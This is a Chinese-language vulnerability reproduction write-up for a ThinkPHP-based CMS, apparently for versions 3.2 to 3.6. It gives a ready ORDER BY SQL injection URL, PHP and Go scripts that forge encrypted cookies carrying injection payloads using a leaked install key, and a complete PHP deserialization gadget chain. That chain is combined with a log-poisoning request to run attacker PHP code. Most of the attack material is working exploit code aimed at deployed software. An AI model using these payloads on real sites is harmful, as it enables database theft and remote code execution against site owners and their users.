0x00 基本信息
基本信息
简介
基于thinkphp开发的系统,去年的时候有人针对反序列化进行了分析,这里主要也是针对前台的SQL注入和反序列化进行复现一下
文件hash
必选项
- 3.2:
d6c17ccb4711de372de20a68f83e7d32
- 3.5:
eacb46c455ac6c924291102528e1f93b
- 3.6_20220617:
ab3c78e936b3c624b2349998c4c8ade2
文件存储
必选项
- 3.2:
https://pan.baidu.com/s/1xC3xZv-8SQB6Ov5fWvx2nQ
- 3.5:
https://pan.baidu.com/s/1qXvkjNea2cEz0xkqrQD5Bw
- 3.6_20220617:
https://pan.baidu.com/s/1RZg2JM7Lw5uVdtLTLwbYWQ
cms指纹
可选项,后期必选
源码相关
从哪下载,可选项
cms名字
必选项,实际名字或者化名
关联平台
类似第三方支付平台
0x01 漏洞复现
注入和反序列化的关键点
get_cookie方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function get_cookie($name, $key = '') {
if (!isset($_COOKIE[$name])) { return null; } $key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;
$value = $_COOKIE[$name]; $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_decrypt($value); return unserialize($value); }
|
这里不传值的时候,会获取配置中的CFG_COOKIE_ENCODE
的值
但是这个值是在安装的时候随机生成的
所以需要获取这个值,存储在数据库中
但是会有一个操作将其写入文件中,流程如下
在包含的基础配置文件中调用get_cfg_value函数
跟进此函数后
此时的sname值为config/site
当数据不存在的时候,从数据库中查询,然后通过F函数写入缓存
只是将数据,序列化了一下,然后直接写入php后缀的文件中,当然后台可能有其他的获取shell的方式
只前台的话,我们可以用来获取随机key值
1
| /App/Runtime/Data/config/site.php
|
这个问题,从3.0版本开始一直到3.6版本的202102版才被修复
如下
所以在此之前都是可以的,后面再说产生的问题
order by注入
这个类型的注入应该出现于3.5版本之后,
因为在3.2版本并未发现相关的控制器,具体影响到哪个版本也不清楚,没去看,最新版修了
涉及到的接口如下
api/lt/alist
api/lt/slist
api/lt/gbooklist
api/lt/reviewlist
api/lt/taglist
这里以gbooklist接口为例
直接构造poc就可以了
1
| /index.php?s=api/lt/gbooklist&orderby=(select+updatexml(1,concat(0x7e,user()),1))
|
可以在日志中找到报错
cookie中的注入
这个就是上面说到的get_cookie方法了
有很多,以如下两处为例
home/member/index
home/member/name
很常规的一个find注入,只要解码出来的uid值是键值为where的数组即可
比如
1 2 3
| $a = array( "where"=>"1 and updatexml(1,concat(0x7e,(md5('AEFca'))),1)#" );
|
在php中的加密方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php class SysCrypt {
private $crypt_key;
// 构造函数 public function __construct($crypt_key) { $this -> crypt_key = $crypt_key; } public function php_encrypt($txt) { $encrypt_key = md5('123'); $ctr = 0; $tmp = ''; for($i = 0;$i<strlen($txt);$i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]); } return base64_encode(self::__key($tmp,$this -> crypt_key)); } public function php_decrypt($txt) { $txt = self::__key(base64_decode($txt),$this -> crypt_key); $tmp = ''; for($i = 0;$i < strlen($txt); $i++) { $md5 = $txt[$i]; $tmp .= $txt[++$i] ^ $md5; } return $tmp; } private function __key($txt,$encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; } public function __destruct() { $this -> crypt_key = null; } }
$sc = new SysCrypt(md5('47bdPCl6X')); $a = array( "where"=>"1 and updatexml(1,concat(0x7e,(md5('AEFca'))),1)#" ); $text = serialize($a); print(urlencode($sc -> php_encrypt($text)); ?>
|
其中key值就是获取到的
复现如下
修改成go的加密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package main
import ( "fmt" "encoding/base64" "crypto/md5" )
func main() { key := "47bdPCl6X" md5_key := MD5123455(key) str_jm := jiami("123",md5_key) fmt.Println(str_jm) }
func MD5123455(str string) string { data := []byte(str) has := md5.Sum(data) md5str := fmt.Sprintf("%x", has) return md5str }
func key_test(txt string, encrypt_key string) string{ encrypt_key = MD5123455(encrypt_key) ctr := 0 tmp := "" for i:=0; i<len(txt); i++{ if ctr == len(encrypt_key){ ctr = 0 } test := txt[i]^encrypt_key[ctr] findkey := "" findkey = fmt.Sprintf("%c",test) tmp += findkey ctr = ctr + 1 } return tmp }
func jiami(data string, key_tmp string) string { encrypt_key := MD5123455("123") fmt.Println(encrypt_key) ctr := 0 tmp := "" for i:=0; i<len(data); i++{ if ctr == len(encrypt_key){ ctr = 0 } test := data[i]^encrypt_key[ctr] findkey := "" findkey = fmt.Sprintf("%c",test) test_2 := fmt.Sprintf("%c",encrypt_key[ctr]) tmp += test_2 + findkey ctr = ctr + 1 } str := key_test(tmp,key_tmp) msg := []byte(str) encoded := base64.StdEncoding.EncodeToString(msg) return encoded }
|
反序列化的问题
重点就是这个反序列化问题了
这种就属于纯thinkphp的链子,其实在实际环境中可以结合一歇实际的情况
比如在之前的文章中提到过的结合delete或者remove的方法
在这套cms中同样也可以
触发的点有很多可以用,但是这个要强调是3.2<version<3.6_202102
在上述的版本中HomeCommonController如下
这里需要重点关注的是_initialize方法,可以看到的是在此处直接初始化了
那么我们就可以任选一个继承自此控制器的子控制器
这里不得不说一个点了
在thinkphp3的加载过程中,controller不存在和action不存在是不一样
首先是实例化出来控制器,再去获取方法
而在controller方法中会进行new一个新的对象,此时会调用初始化方法
而在初始化方法中默认会调用_initialize
,这是tp的特点包括tp5及以上版本也会调用
那就很好理解了,在为获取方法之前就可以直接执行_initialize
方法中的反序列化了
而这个时候不管我们传入的方法是什么,都会进行反序列化
这个点很重要
反序列化利用链
同样是imagick类为入口
可以将此时的img设置为HomeCommonController的对象
结合上面我们说的方法可控,任意输入都不会影响反序列化
直接瞄准了controller类的__call
方法

上面的方法可控,只要传入a=destory
正好可以进入这里调用_empty
方法
然后就会调用display方法
此时就相当于调用任意类的display方法,但是我们只要按照这个样子继续往下跟进即可
一套操作就再次走到了assign变量覆盖漏洞那里
这个样子也不存在了php的版本限制
利用链构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php namespace Think\Image\Driver{ use Home\Controller\HomeCommonController; class Imagick{ private $img; public function __construct(){ $this->img = new HomeCommonController(); } } }
namespace Think{ class View{ protected $tVar; public function __construct(){ $this->tVar = array("_filename" => "./App/Runtime/Logs/Api/22_09_27.log"); } } }
namespace Home\Controller{ use Think\View; class HomeCommonController{ protected $view; public function __construct(){ $this->view = new View(); } } } namespace{ use Think\Image\Driver\Imagick; echo urlencode(serialize(new Imagick())); }
?>
|
漏洞复现
通过日志写入一个木马
找个报错点
1
| /index.php?s=api/ltaaa/taglist&test=<?=md5('123');unlink(__FILE__);?>
|
成功执行
0x02 end
…